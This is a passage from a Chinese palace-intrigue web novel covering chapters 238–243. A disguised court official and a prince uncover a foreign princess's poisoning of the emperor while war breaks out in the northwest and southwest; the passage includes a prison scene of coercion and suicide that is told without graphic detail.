云暮当然知道谁在里面,她来不过是为了警告嘉禾莫要做得太过分。 东胡虎视眈眈,还有嘉禾这个内应在,不知道何时会发兵,梁文帝能垮,但不能垮得太快。 说罢,她不再在勤政殿外逗留,才回到布政坊,太医院的人就将药方递了过来。 云暮粗略看了一眼,明面上自然是没有什么异样的,但梁文帝还多喝了嘉禾送去的养生汤,药效会不会相冲她就不得而知了。 “大人,嘉禾公主出宫了。” “这么快?” 梁文帝这就不行了?她快马加鞭从宫门回到布政坊也就花了半刻钟,凳子还没有坐热,嘉禾也跟着出来了? 冯章不确定云暮所说的是不是他想的那样,不敢也不好回话,他尴尬地找了个借口走了。 云暮思考了片刻,提笔给沈聿明去了一封信。 …… 秋闱张榜那日,云暮收到了孟煦的请帖,邀她去学堂一叙。 “来了?坐吧。”孟煦指着邻座的椅子道。 “兄长可是要要事?” 两人像是忘记了上次见面时的不快,有一句没一句地聊了起来。“你看看这个。” 云暮进来之时就已经注意到桌上之物,“这是……” 孟煦指着被圈起的人名说道:“这几个是为兄的人,文韬武略也还算能入眼。” 头三名里就占了两,云暮笑道:“兄长谦虚了,此次他们榜上有名,兄长有的忙了,以后怕是想约你出来都没有机会了。” 孟煦卷起纸,在她额上轻轻一敲,“贫嘴。你若是相邀,为兄岂有不应的道理。” 云暮捂着额头,身体往侧边偏了偏,“有兄长在,明年春闱他们必定高中。” 孟煦摇头道:“也不尽然。此人你识得,若他没有舞弊,明年榜首必是他。”他的手点在了为首的那个名字上。 柳溪午。 云暮认得此人,太师之孙,有些才华在身上,平日里多好附庸风雅。监考官是沈聿明,柳溪午竟在他眼皮子底下舞弊? “我命人去查,太师家风清正,其中或许有什么误会。” 文采一般却能写好策论的人并非没有,柳溪午身为太师之孙,平日耳濡目染,能写出也不足为奇。 她拿起榜单,再次瞧了起来,忽然看到了一个眼熟的名字。 俞白。 “云暮,你去了何处,我等你等了小半个时辰!” 云暮从马车下来,还未站稳就听到一声质问。 她看向来人:“来了怎么不进去?” 俞白没好气道:“你那府邸平日里也没几个进去,本世子怕进去就出不来了。” 云暮边走边道:“是啊,里头豢养了几只猛虎,今日尚未喂食,一会儿便请它们尝尝大梁世子是何味道。” 俞白瑟缩了一下,挤到云暮身边挨着他,“你莫吓唬本世子,我的礼物呢?” 云暮明知故问:“什么礼物,我何时欠你东西了?” “好啊,你还在装,别以为本世子不知道你一早就去告示栏看了榜,你就没发现点什么?” 云暮故意道:“我才忙完回来,哪有时间去看告示栏。” 她憋住笑,叫过门房:“去寻一份……” 俞白磨了磨发痒的牙,他恶狠狠地扑向云暮:“你明明就知道了,还装!” 云暮笑着躲过他:“原来世子平日里的不学无术都是装出来的,连我都被你骗住了。” 俞白的武艺不及云暮,只能在身后追赶,“我的礼物呢?你不会没给我备吧?” “你们在做什么?”沈聿明面色阴沉地从围墙翻了进来。 “谁?”俞白敛了笑意,循声望去。 “王爷何时喜欢做这种小偷小摸的行径了?” 沈聿明快步走近,如法炮制地站在两人中间,对俞白说道:“长平侯正在寻世子,本王派人送你回去。” 俞白假装没听见,绕过他站在云暮身侧,“我的礼物。” 云暮此刻只想早些把人打发走,她拿出刚买的一支狼毫笔,“备好了,方才逗你罢了。长平侯寻你定是有急事,我派人送你回去。” 第二百三十八章 东胡起兵 “你都没送过我东西!” 俞白才走,沈聿明开始和云暮耍起赖皮。 云暮勾下他腰间的香囊,拿在手里转了几圈:“那这个是谁送你的?” “我不是给你回了一枚玉佩,不算。”云暮作势要将香囊抛向小湖。 沈聿明眼疾手快地夺过,“你给了我便是我的,哪有将东西往回收的道理。” 云暮替他把香囊重新挂回腰间,下意识地拍了拍香囊,“好了,不过是一支笔,往后未必没有让他帮忙的时候。” 她仰起头在沈聿明的下巴亲了一口,“安心了?” “你……你们……” 俞白瞪大双眼,哆嗦着手指着云暮二人。 他拿了笔晕晕乎乎地走出云府后才想起临出门前已经派人去告知了父亲,沈聿明那话是在唬他。 又想起对方和云暮不和,担心云暮落下风,于是俞白去而复返,正好撞见方才那一幕。 他狐朋狗友不少,自然听说过有些人不好女色反好男色,买了小倌充作小厮,他对此十分厌恶。 直到遇到云暮。他下意识亲近云暮,却不敢深思,只是自欺欺人地把对方当成所谓的好兄弟。 “一个太监,一个王爷,真恶心。” 俞白从怀中掏出那支狼毫笔,将其狠狠砸在地上,笔登时四分五裂。 跟在俞白身后的砚石默默收拾了狼藉。 “俞白!” 相对于云暮的沉默,沈聿明的心情可谓明媚,他早就想让身边的人知晓他和云暮的关系,尤其是这两个觊觎云暮之人。 “他会不会乱说话?”云暮多少还是有些担心。 沈聿明毫不在意,甚至恨不得将俞白塞进囚车里,让其游街示众,并且将他和云暮的关系公之于众。 “放心吧,不会的,我偷偷进来的,没人知道,他敢胡说也没人敢信。” 云暮并未彻底放心,但眼下还有比寻俞白更重要的事,“王爷,你可有办法拿到柳溪午的考卷?” 沈聿明问道:“你觉得他舞弊?”榜单张贴出去前就已经送到他那儿,沈聿明自然也看到柳溪午的名字。 云暮摇头,“不是,他平日不着调,但应当不会做出这种事。不过是觉得与平日相距甚远,想看上一二罢了。” “你早一日问便好了,方才我已经将他们的答卷送进宫了。” 提到宫里,云暮忽然想起那个迟迟未送来的药方,她朝沈聿明伸出手:“我要的药方呢?” 沈聿明从荷包里掏出一张四四方方的纸,“今早才拿到,想着今日不上朝,早一点来寻你,但还是被绊住了脚。” 云暮回到书房,提笔在纸上写了一张药方。沈聿明不解:“这是?” “药物相生相克,嘉禾公主所下之药太过霸道,皇上一旦倒下,东胡便会趁此发兵。” “抄没东宫虽丰盈了国库,但分发到各部已经所剩无几,如今还不能开战。” 沈聿明道:“如今大梁各处都在秋收,怕是拦不住了。” 西北边境,滚滚浓烟席卷整个润州城,一封八百里加急的急递只花了半个月就送到京城,路上不知跑死了多少匹马。“报!东胡突袭润州!” 一脸倦色的梁文帝登时坐直了身体,将那道急递翻来覆去看了好几遍才肯相信东胡是真的起兵东进了。 万寿节上,东胡的讨好还历历在目,梁文帝怒不可遏:“反了!”气急攻心的他呕出一大口血。 “皇上!” “父皇!” “宣太医!” 金銮殿内乱作一团,所有人都围在梁文帝身边,太医来了才肯让出一条道。 听到消息的云暮急忙赶到了宫里,“皇上如何了?” 太医摇头叹息。 云暮进殿时,太医已经给梁文帝施过针,只是人还未醒,周围站了一圈的嫔妃,云暮进也不是,退也不是。 淑贵妃给她让了一个位,“云大人,请吧。” 久违地给梁文帝号了脉,才发现内里亏空地比她想象中的还要厉害。 不对,那个药方有问题。 “把嘉禾公主带到东侧间。” “公主,听闻你近日常进宫,每每都带一碗安神汤,方子呢?” 嘉禾拨了拨手上的铃铛,“云将军,本公主不是诏狱的犯人。”又看向沈聿明,“表哥,他这般咄咄逼人,我不喜欢。他不过是一个臣子,竟然越俎代庖。” 云暮混了这么多年,察觉一个人的敌意对她来说如喝水般简单,但仇视她的人多了,也不差嘉禾这一个。 她将急递丢到嘉禾面前,“东胡进犯大梁边境,公主如今还能好生站在这里,已经是大梁开恩。” 嘉禾没有动作,但眼中的惊讶没有瞒得过云暮,她不知? 嘉禾身后的侍女将急递捡了起来奉到她面前,嘉禾不识大梁字,只扫了一眼就收回了目光。 “云将军要治本公主的罪吗?秦王表哥身上也流着东胡的血,云将军是不是也要将其囚进诏狱?” 拖延时间,几次三番想拉沈聿明下水,云暮一眼就看穿了她的小把戏,但也没有戳破,她的人应该很快就能把东西带来。 “将军,这些都是从嘉禾公主的府邸搜出来的。” 冒着热气的药罐,还有几张药方。云暮在心里比对着沈聿明给的药方,发现好几味药对不上,其中还多了一味赤焰虫。 嘉禾的方子里多是猛药,喝了之后又寻欢,难怪梁文帝亏空得这般厉害。 “嘉禾公主谋害皇上,打入诏狱。” 再次出现在西侧间门口,梁文帝已经醒了,他看了云暮一眼,想对他招手,却无力抬手,只有手指动了两下。 云暮接过淑贵妃手中的参汤,给梁文帝喂了几口才道:“皇上,嘉禾公主在您的安神汤里下了些不该有的东西,臣擅自做主将其下了诏狱。” 梁文帝眨了眨眼,云暮将一碗参汤喂到见了底,又命吕梁在他舌下压一片参片,梁文帝才慢慢恢复气力。 “润州……” “裴大人已经拨了军饷,但将军一职还得由您定夺,皇上,润州撑不了多久了。” 第二百三十九 拿药王谷开刀 东胡的忽然开战让大梁人始料未及,又因镇北侯之事,西北的将士减了半数,如今还在苦苦支撑已是日日操练的结果。 “将军,朝廷的援军再不到,弟兄们就撑不住了。” “将军,粮草……” “将军……” 不过月余,润州主将甘宁的头发又白了一片,他站在沙盘前,将旗子插到邻城的关州上。 “先从关州调兵调粮,朝廷的消息应该快到了。” 勤政殿西侧间里,梁文帝不过听了几句,谁领兵支援润州一事还未定下,梁文帝又昏睡了过去。 事态紧急,丞相等朝中重臣在勤政殿正殿急得团团转,沈聿明心里有了别的心思。 裴然叹了几声,朝云暮说道:“云将军,你想想办法啊,户部能立刻拨粮,但无人押运,这也不是个办法啊。” 润州失守,下一个便是关州,关州一旦被破,东胡就可长驱直入,云暮心里亦是焦急万分。 她看了一眼沈聿明,下定决心强行将梁文帝唤醒。 太医院里,十几个太医围在一处谈了小半个时辰,终于写出了一张药方。实非云暮想不出法子,只是药效太猛。此战快则半年,慢则几年,她得让梁文帝活够半年。 两碗汤药灌下去,梁文帝依旧没有任何反应,裴然又出声道:“你的方子行不行啊?” 云暮师承辛百草,即便方子是她和太医院共议而得,但说她的方子不行就是在砸她师父的招牌。 她冷冷瞥了裴然一眼,“举太医院之力都无用,裴大人不如亲自去寻我师父。” 辛百草踪迹不定,想要寻他比登天还难,除非以三千两黄金求神医下落,裴然讪讪闭了嘴。 众人又等了良久,就在云暮命吕梁灌准备第三碗药汤时,梁文帝终于转醒。 裴然见缝插针地挤到床边,“皇上,您终于醒了。” 云暮命人拉开裴然,吕梁趁机将梁文帝扶起,将熬得软烂的肉粥一勺一勺喂给梁文帝。 才用了半碗,梁文帝将头偏向一旁,吕梁颇有眼色地退了下去。 裴然又重新挤到了床边,“皇上,这是国库能拨出的款项,已经备好,不知要何人押送?” 梁文帝道了一声:“念。” 抄了东宫,能拨的粮草也还算多,然奏折上所写不过一千石粮及五百两银子。 在场之人不知,但云暮却是知晓其中有半数已经进了梁文帝的私库,裴然不会也不能将物资全都拨给润州。 兵书尚书率先出了声:“皇上,西北粮草本就不丰,已经苦苦撑了一个月,这些如何能够?” 裴然反击道:“如今正值秋收,润州城中的百姓家家户户皆有余粮,一千石粮如何不够?润州可先像百姓借粮,等仗打完了再还给他们,如此一来,润州城的危机可缓。” 主将未定,仗都不知何时能打完,兵部尚书被裴然厚颜无耻之话惊在原地,这些年税收日益加重,百姓苦不堪言,尤其西北的百姓。 然这些大臣不思百姓疾苦,反倒还要将他们家中的余粮收刮干净,当真是可笑。 梁文帝到底还算不上昏聩,当即命裴然又追加了近半数的军饷,他虚目看向室内之人,虚弱道:“众卿可有合适人选?”然所说之人都不合梁文帝的心意,他看向沈聿明:“明熹,你呢。” 沈聿明默了默,才道:“父皇,儿臣认为余将军能担此大任。” 沸腾的西侧间因他的话瞬时冷了下来,镇北侯当初将余炳仁支走,这才保全了他。 眼下这些人里,也只有余炳仁最为了解东胡。 梁文帝定定看了他好一会儿,才道:“云卿。” 云暮这才从一旁走出,“皇上。” “去传余炳仁。” 京城城门,大军集结,百官相送,沈聿明也在为他践行。 “余将军,今日一别,祝君大捷。” 余炳仁仰头饮下杯中酒,拍着胸膛,坚定道:“还望王爷替末将转告陛下,末将此去,不击退东胡誓不还朝。” 他为的不是梁文帝,而是那个将军誓死护着的润州和百姓。 说罢,他遥遥对皇宫行了一礼。 此刻梁文帝带着云暮和吕梁立在城墙上,望向的正是城门的方向。日日用药吊着,梁文帝的气色看起来并未好上多少。 秋风猎猎,滚滚黄尘迷了眼,大军已经变成了一粒粒小黑点。 梁文帝低低咳了几声,明黄色的帕子上多了几滴红点。 云暮劝道:“皇上,外头风冷,回去吧。” 沿着城墙一路走下,梁文帝已经开始喘大气,日益减少的精力让他恐慌,他抓着云暮的手说道:“云卿,你老实告诉朕,朕还有多少时日?” 不过几日,梁文帝又苍老了几分,干枯的手攥得她的手腕生疼,还有些恶心,她忍住想要将手抽回的冲动,半跪道:“皇上福寿绵延,万寿无疆。” 梁文帝忽而用力甩开云暮的手,“连你也在骗朕!你师父呢?命他立刻来见朕。” 好不容易才得来的皇位,他还没有享受够,怎么甘心放弃? 云暮面不改色地撒谎:“师父几个月前已经离京,微臣也不知他的下落。” 梁文帝半喘半怒道:“那就用重金求他的下落。” 三千万两黄金得神医活死人,然便是把国库和梁文帝的私库加起来都未必有半数。 云暮跪在地上:“还请皇上三思。” 梁文帝此刻什么都听不下去,他指着云暮,疾言厉色:“朕不管你用什么法子,必须给朕找到辛百草的下落,否则朕就拿药王谷开刀。” 药王谷里平日只有师兄在,谷中重要的是那些药方和药。眼下西北战事起,西南那边不知会不会突然发难。 如若道出师父的下落,怕是会有人以此为借口给她和师父冠上通敌叛国的罪名。 云暮还是道:“师父踪迹不定,微臣只能给江南去一封信,至于师父在不在药王谷,臣就不知了。” “皇上您被嘉禾公主的药掏空了身子,呕血实乃正常,只要照着臣拟的药方进药,定能无虞。” 第两百四十章 我必须死? 将话题引到嘉禾身上,梁文帝心中的怒气再次翻涌,又呕出了一口血。 “贱人,朕待她不薄,她竟敢下毒谋害朕,将人提到勤政殿,朕要亲自审她!。” 云暮忙起身扶住梁文帝,苦口婆心道:“皇上,眼下您不宜动怒,有什么要做的交代微臣就是。” 言辞切切,忠心一片,演得云暮自个儿都快要信了。 润州之事已经往梁文帝心力交瘁,无暇顾及嘉禾,没他的吩咐,云暮并未让人对嘉禾定动刑,是以嘉禾到勤政殿时,也不过是憔悴了几分。 他如今呕血不止,大限恐至,罪魁祸首却一如当日,想到对方顶着和那人相似的脸哄他喝下那一碗碗养生汤,梁文帝怒不可遏。 云暮在一旁提醒道:“皇上,不可动怒。” 梁文帝才堪堪压下怒气,但他还是心存妄想:“谁指使你下的毒?” 嘉禾轻蔑一笑,“无人指使,此时乃妾一人所为。父王让妾来大梁觅一良婿,而你却因这张脸强迫妾委身于你。你的年纪和妾的父王一般大,和你在一起的那些时日,让我无比恶心。” 梁文帝呼吸急促,许是因为这几日的调养,他并未当场气昏,指着嘉禾“你”了半天。 “皇上,秦王求见。” 梁文帝还因余炳仁的事恼他,眼下又当他是来给嘉禾求情的,怒道:“让他在外边等着!” 吕梁道:“秦王殿下带了人,说是和嘉禾公主有关。” 梁文帝道:“宣。”他倒要看看沈聿明想干什么。 几人被沈聿明押进了勤政殿,“父皇,这几个是东胡安插在京城的暗探,嘉禾公主的药材和药方皆是出于他们之手。儿臣盯了他们数日,这才将人全部抓获。” 他命吕梁拿下他们口中的布条。 “此人名叫胡安生,乃探子的头目……” 胡安生自知今日必死无疑,试图将沈聿明也拉下水。 “王爷,下毒之事您并非不知,皇上能有今日,也是拜你所赐。” 沈聿明丝毫不见慌张,他镇定自若地拿出一张方子:“那日你是来过秦王府,府中亦有人证,然你所说的并非下毒一事,而是来献药方。” 云暮上前接过药方,递给梁文帝。 沈聿明继续道:“昔日有贼人欲借米囊花谋害父皇,幸得云将军识破诡计,这才灭了你们在京城和江南的据点。” “今日你们想再以同样的伎俩谋害父皇,本王身为人子,怎能任由旁人谋害君父?于是扣下药方,劝你不要如此行事。” 沈聿明的声音忽然拔高:“而你,表面应承,背后却让公主下毒,父皇才倒下,东胡和大梁的战事便起,可见东胡早有谋划。” 他颠倒黑白的话将胡安生气个半死,但两人是在书房内密谋,如今他们说什么都查无对证,梁文帝已然想到这一点。 “你如何证明?” 沈聿明顿时做委屈状,“父皇,儿臣自知无人相信,故还有一个消息要上报。” “说。”沈聿明一字一句道:“嘉禾公主实非东胡王之女。” “你说什么?” “你胡说!” 莫说梁文帝,就连云暮都诧异地挑起半边眉。 沈聿明像变戏法般从袖中拿出证据,“父皇,昔日东胡王曾在各处寻觅女子,只要与母妃有几分相似便都把人掳到东胡,让她们仿着母妃的一言一行。” “最后挑出一个学的最像的,冠以公主之名送至大梁,名为寻佳婿,实则为了接近父皇。” 有人递了台阶,梁文帝当场就顺势而下。画像上的人长相不一,但眉目间都几分相似,像极了那个死去之人。 梁文帝手一扬,画像散落一地,有几张飘到了嘉禾面前,其中一张正是她的。 “你还有什么要狡辩的?” 嘉禾已经过了最初的慌张,她道:“是又如何,如今计谋已经得逞,就算是天人来了都救不了你,狗皇帝,你等死吧。” 梁文帝整个人气得发抖,即便是云暮最傲气时都不曾对他说过如此刻薄之话,她一个阶下囚,怎么敢的? 他冷声道:“将这个贱人送回诏狱,你知道该怎么做。” 诏狱。 刑架上的人不知换了多少人,云暮依旧是坐在那张熟悉的凳子上。 面前的嘉禾已经没了昨日之前的淡然,她对云暮挑衅一笑:“诏狱就这点手段吗?” 云暮也勾起唇:“怎么会,看见那边的人了吗,早在你进来的第一天,他们就盯上你了,若不是有本将军压着,你觉得自己能撑多久?” 嘉禾顺着他的目光看去,一群男人正虎视眈眈地盯着她,目中满是淫邪。 她虽学过房中术,但都是跟妓子学的,这么久了,她也不过只跟过梁文帝一人。 当年在东胡,那些越长大越不像那位公主的人的下场只有一个,那便是充作军妓,供人取乐。 别后不过几日,她们就已经被折磨得不成人形,每日进出营帐的人不知多少,嘉禾痛恨又清醒她这张脸还算像那人。 她慌了神,不住摇头:“云暮,你不能这么对我,我还是东胡的公主。” 一身的傲气被打碎,云暮收了笑,“公主,早知今日,何必当初。” 她屏退了狱卒,走到嘉禾的身前,“其实那日在沈聿明房间的,还有我。你能给皇上下这么久的毒,也是我默认的。” “公主,胡安生几人已经被杖毙,本将军如今给你两条路。” 云暮指着那群男人道:“一是我不杀你,但他们不会放过你,你若有本事,可去皇上面前举我和沈聿明。” 她又拿出一把匕首,“二是替沈聿明背下罪名,我不会让那些人动你分毫,还会给你寻一个风水宝地,替你解决身后之事。” 嘉禾不想死,但也不想委身那些肮脏的臭男人。她不死心地开口问道:“我必须要死?” 云暮笑了,似在笑话她的天真,“你眼下死去,是最好的下场。东胡不会胜,届时你一个叛贼之女,会是什么下场?” 第二百四十一章 西南发难 嘉禾认罪自裁的消息传进宫时,梁文帝正在和崔相下棋。眼看快要输了,他将棋子扔回棋篓,“还有事情商议,下次再与丞相手谈。” “吕梁,撤了。” 云暮将血书和一支带血的银簪奉了上:“陛下,公主于昨夜在牢中自戕,今早才被人发现,只留下了一封绝笔。” 梁文帝咳血多了,正忌讳看到血,猛地一眼看见这两样东西,他紧皱眉头:“你念给朕听。” 云暮来之前就已经看过,确认没有写什么不该写的东西后才将其呈了上来。 “下毒一事皆是妾与胡安生等人所为……” 梁文帝听后,不禁冷笑了一声,“倒是把人撇得干干净净。” 话中说的是何人,在场的两人都知,云暮没有应声。 “老七他们也老大不小了,该上朝历练了。崔相,平日里你多提点他们。” 梁文帝多疑,如今沈聿明一家独大,总让他幻视从前的梁今越,近来又发生了下毒一事,就算没有确凿的证据,但他到底是不敢再轻易信一人。 云暮也没想此事没能把沈聿明摘出来,还给旁人做了嫁衣。 出了宫门后,又见了七皇子身边的小厮,“云将军,我们殿下邀您一叙。” 云暮压下不悦,随小厮去了上次的府邸。她看着和此前并无分别的布局,问道:“听说那日秦王殿下将东西砸了稀烂,如今看起来并无区别。” 上次之事沈聿明得了皇上的夸,反倒是七皇子被罚了禁足,小厮尴尬一笑,“七殿下喜欢从前的布局,又命小的们重新布置了一番。” 云暮看见那个熟悉的亭子,里头空无一人,看来今日只有她前来。 小厮把人带到书房门口后就退了下去,没等云暮推开门,门已经自里打开。 七皇子扬着笑脸上前,“今日之事孤都听说了,多谢云将军。” 云暮呵呵笑了一声,“殿下客气了,不想阴差阳错之下竟能助您一臂之力,能为殿下效力,是下官的荣幸。” 奉茶,赐座,七皇子以礼相迎,云暮的待遇和从前相比,实乃天差地别。 七皇子率先端起茶杯,连喝了三杯:“先前是孤对不住云将军,孤以茶代酒,自罚三杯。” 这一次,茶水里没加多余的东西,但云暮只抿了一口就放下了。 “殿下言重了。下官还有差事,斗胆一问,今日您唤下官前来所为何事?” 嘉禾的尸首还摆在那儿,她得奉皇命将其“丢至乱葬岗”。 七皇子拿捏不准云暮的想法,趁他今日好说话,直接道:“云将军认为朝中何人可为孤驱使?” 人还没进朝堂,就想着如何培植势力,云暮真想将沈聿明提来,让他看看旁人的狼子野心。 她勾起一个没有感情的微笑,“殿下,您如今最终要的是如何借丞相的势在朝堂上站稳脚跟,他们看见了您的价值,不用您礼贤下士,他们也会追随您。” 这话说到了七皇子的心坎上,上次的那些人不过是一些乌合之众,他瞧不上眼,但手下有无能者,只能将就着。 如今他的手已经摸到了那把椅子,何愁坐不上去? 他亲自将云暮送出了府,“云将军方才所言极是,倒是孤狭隘了。” 云暮又勾起那抹假笑,“殿下言重了。”即便结果没达成,云暮依旧是信守了对嘉禾的承诺,她找来一具死尸替了嘉禾躺在乱葬岗,而真正的嘉禾被她葬在了一株桃树下。 云暮最后用铁锹拍了拍土堆,她将大半个身子靠在另一株桃树上,“王爷,解释解释吧。” 沈聿明开始装傻充愣:“解释什么?” 云暮扫了他一眼后很快就收回视线,迈开步子朝马的方向走去。 沈聿明哎呦了一声,忙跑到她身边,“怎么恼了,我说就是了。” 他与东胡探子的联系不多,但也从对方口中得了一些信息,猜出嘉禾的身份不对,便暗中派人去查了。 这一查还真让他查到了不少东西,拿到画像的那一刻,他怒火中烧,恨不能一刀砍了东胡王。 昔年为了活命将他母妃送给梁文帝,如今这么多年过去了,对方想到的还是这个法子。 着实恶心。 云暮听完,心里也只有恶心这个想法,她沉声道:“回去我便和皇上提议,多给润州派些兵,此次定要一举歼灭东胡。” “王爷,大人,皇上正寻你们呢。” 砚石从鸽子的腿上取下了一张小纸条,将其递给了云暮。 字条末尾,连写了三个急字,可见事态紧急。 云暮和沈聿明对视了一眼,同时朝树下的马儿走去。 勤政殿内,站满了朝臣。 “你们看看这个。” 奏折先被递给了沈聿明,云暮眼看着他舒展的眉头一点一点皱起,她心里隐隐有些不安。 看清内容后,云暮手中的奏折险些掉到地上。 “西南战乱,望朝廷支援。” 一波未平,一波又起,梁文帝眉间笼着愁云,他看向场上之人,“众卿怎么看?” 兵部尚书抢在裴然面前开口:“皇上,两地发生战乱,不过只隔了月余,西南诸国和东胡定是早就勾结在一起。微臣私以为应尽快发兵南下。” 裴然终于跳了出来,公然和他叫板,“你说得倒是容易,眼下朝廷哪哪都需要银子,国库快被搬空了!拿什么发兵?” 兵部尚书瞥了他一眼:“大梁多丰年,每年向百姓征两回粮,两回税,又多年无战事,国库的钱去了何处我如何得知?” “裴大人,账都算不明白,这户部尚书还是早些易主罢。” 钱去了何处,天知,地知,裴然知,云暮知,梁文帝亦知。几人各怀鬼胎,却又默契地闭了嘴。 梁文帝不耐地拍桌:“朕让你们来商议章程的,不是让你们来吵架的。” 裴然得意地冲他扬眉,兵部尚书愤懑地闭了嘴,脸上依旧是不服。 “何人适合率兵南下?” 云暮心中焦躁不安,她师父如今多半在西南,西南突然发兵,也不知师父如何了。 第二百四十二章 断袖 西南。 辛百草正避开地上脏污的血水游走在各个营帐里,手上还端着两碗汤药。 他人才到西南没多久,赤焰虫一事尚未有着落,西南诸国突然联合发兵对大梁发难。 他原想暗中查赤焰虫一事,却被人认出,军营如今正缺大夫,于是他就被人抓了过来。 他并非逃不出去,只是那天晚上他偶然听闻西南发兵似与东胡相关。再一打听,又得知东胡早在月前就已经东进,他这才歇了逃走的心思。他如今唯一的想法便是希望云暮不要南下寻他。 云府书房,云暮将一封信交给安叔:“速速派人送去江南。”如今唯有祈祷师父还未去西南。 在勤政殿没议出个章程,云暮不禁有些心烦意乱,她想亲自带兵南下,可她有的不过是凶名,行军打仗一事不是儿戏,她不敢拿大梁将士和百姓的命开玩笑。 在府中越待越烦,满脑子皆是辛百草,云暮深深吐了一口气,决定出去走走。 “瞧见没,那个就是长平侯府的世子,近来不知受了什么刺激,总是喝个酩酊大醉。 被府上的小厮抬了回去后,第二日还来。听说小臂粗的棍子都打断了两根,他依旧雷打不动来此处。” 云暮拨开人群,发现躺在地上之人正是俞白。 对于那日之事,她心里也有几分怨气,本不想管,但看到这些人对他指指点点,又觉不好,说到底他在她手底下当过差。 将人驱散后,云暮才上前夺了俞白手里的酒壶,拍了拍他的脸:“世子,醒醒。” 连拍了好几下,俞白的双眼终于睁开了一条缝,他不确定地开口:“云暮?” 还认得人就好。 云暮看向周围:“你的人呢?” 俞白拍开云暮的手:“你滚,本世子不用你管。你竟和他做出那种事,真叫本世子恶心。” 能听到云暮的轶事当真是少之又少,周围的人瞬间竖起耳朵。 云暮心情不佳,听了这话,更是不想管他,然把人丢在此处,难保他不会说出什么话来,况且两人从前在一起共事,到底是还有些情分在。 她沉着脸把人从地上提溜起来,“你这张嘴再不会说话,我不介意替你把他封住。” 俞白甩手蹬腿,就是不配合云暮,“你敢,呵,只要本世子将你的那些事都抖出去,你还有脸见人?” 云暮冷冷一瞥,跟在他们身后的人登时退避三舍,不敢再上前一步。 她将俞白扔到一个无人的胡同,“世子,胡闹也该有个度。我不过一个太监,脸早就被人踩在了地上,我怕什么? 你只管去说,让天下人知道我和他的关系,沈聿明明日就会送长平侯府一份大礼。” 喝了酒的脑袋有些发蒙,又或是云暮的声音太冷,俞白把这句话当成了威胁。若是因他的话给侯府带来劫难,他会愧疚而死。 俞白虚张声势道:“我爹是侯爷,我怕他作甚?” 俞白一身酒气,云暮厌恶得很,她把人扯了过来,随意找了一辆马车,将人团吧团吧塞了进去。 “把人送到长平侯府,路上出了意外,本将军唯你是问。”车夫绝望地看向那些驱着马车退出几里地的同行,此刻只想将这个烫手山芋甩出去,“云将军,小人家中有事……” 云暮给他抛了一锭五十两的银子,威胁道:“再废话,你往后都不用坐车夫了。” 马车缓缓前行,云暮被带着往前走了几步,她垂眸看向从马车里伸出的那只手。 “放手。” 俞白无理取闹:“好人做到底,送佛送到西,你在众目睽睽之下将本世子从酒楼带出,倘若本世子在路上发生了什么意外,我父亲一定不会放过你。” 车夫走也不是,停也不是。 云暮试图将衣袖撤回,发现俞白攥得更紧了。她摸出一把匕首,将袖子一分为二,“我这等恶心之人,还是别污了世子的眼。” 俞白恼怒地将那截袖子扔了出去,“还不走?” 云暮已经离去,此话只能是对他说,车夫诚惶诚恐地驱着马。不过几息,马车被人叫停。 俞白步伐不稳地往回走,车夫收了云暮的钱,又怕俞白出意外,他一家老小小命不保,急忙搀住他:“世子,您要去何处?” 俞白睁着迷瞪的寻找那抹青色,幸而路人惧云暮发怒,没几个人敢上前,他很快就找回了那截衣袖。 拍了拍上面的灰后,俞白将其紧紧攥在手心。 车夫方才也是见了两人的不和,如今看到这一幕,竟不知该说些什么好。 俞白得了东西,也不再闹了,在侯府的小厮把人接进府后,车夫马不停蹄地走了。 云暮在外头晃了一圈,打算借酒消愁,却喝了一肚子的茶。府中埋的那几坛酒已经被师父和安叔喝了个干净,看来还是得再备上一些。 她漫无目的地在城中闲逛,路过从前的云府时,她驻足停了片刻,最后还是没有走进去。 不远处有一人看着离去的身影,若有所思。 行至王府,云暮也学着沈聿明的做派,趁无人时翻了进去。落地时,她才要戒备的侍卫解释一句,就听见他们道:“云将军,王爷在书房。” “知道了。” 她心想,王府的守卫这般松散? “你这袖子怎么回事?” 云暮这才想起此事,她抬起手,“哦”了一声,“方才遇到一个醉鬼,抓着不放,不好对他出手,只能削了衣袖。” 沈聿明道:“俞白?你去寻他了?”他什么三教九流的人都结交,自然也听说了俞白的事, 云暮掐住他的脸:“胡思乱想什么,师父约莫是在西南,我心下烦闷,出去走走,没想碰见了他。” 沈聿明抓着她的手蹭了蹭:“见了就见了,没一会儿侯府的人就到了,你管他死活作甚?” 醋是要吃的,正事也是不敢忘,他道:“我派几个人去西南探查你师父的下落。” 云暮的手下皆多是金吾卫,平日里可以用梁文帝的名义使唤他们调查京中官员之事,寻师父一事却是不能够。 “好。” 第二百四十三章 前往西南 长平侯府里,俞白正出神看着手中的那截衣袖,房门被人大力推开,他忙将衣袖塞进怀中。 “逆子,如今朝廷外患不断,为父不要求你上阵杀敌报国,但你能不能安分些,别再多添乱子。” 朝中如今忙成一锅乱麻,余炳仁才到润州,西南又发生动乱。昔日他在马上得了侯爷这个爵位,为不让皇上猜忌,他主动交出虎符,他主动交出虎符,才换得侯府安宁,如今西南战事再起,他这几日愁得头发的白了。 职事之余,他还要操心俞白的事,身心俱疲。 长平侯夫人紧随在长平侯身后,闻言,不满道:“不过是多喝了两杯酒,你说他作甚?从前你在军中也没见你少喝。” 长平侯宽袖一甩:“从前那是庆功宴上喝,他如今日日买醉,如何能一样?” 而后他又补上一句:“都是你惯的!” 俞白看向长平侯:“爹,你要去西南了吗?” 长平侯搓了搓带着疲色的脸:“此事还未下定论,为父亦不知。” 俞白又道:“爹,儿子想去西南。” “不可!” 长平侯及夫人一同出声,侯府就这一个独苗,他万不能出事。 俞白还要再说些什么,长平侯已经命人将其锁在屋内:“没有本侯的吩咐,谁都不许放世子出来。” 这一次,不管俞白怎么以利相诱,小厮就是不肯给他开门,等他再次从房里出来,才得知长平侯聿于三日前已经率军南下了。 “让我进去见云暮!” 门房耐着性子劝道:“世子,大人不在,吩咐了谁都不许进府,不如您留封信,等大人回来后小的替您转交。” …… 云暮今日身子有些不适,安叔不想让她见客,但事情还是传到了云暮的耳朵里,她连吃了三颗药才算止住体内的寒气。 “把人带到书房。” 秋末冬初,寻常人不过多添了两件衣,云暮已经披上了斗篷,手中还拿着一个汤婆子,可即便如此,她还是觉得寒意直生。烧了地龙的书房暖如春日,她反将斗篷拢得更紧。 “你既在家,为何……”话头在看到云暮那张惨白的脸时止住。 “你怎么了?”心中那点别扭荡然无存。 云暮饮了几口热茶,待身体回温后才道:“世子今日前来所为何事?” 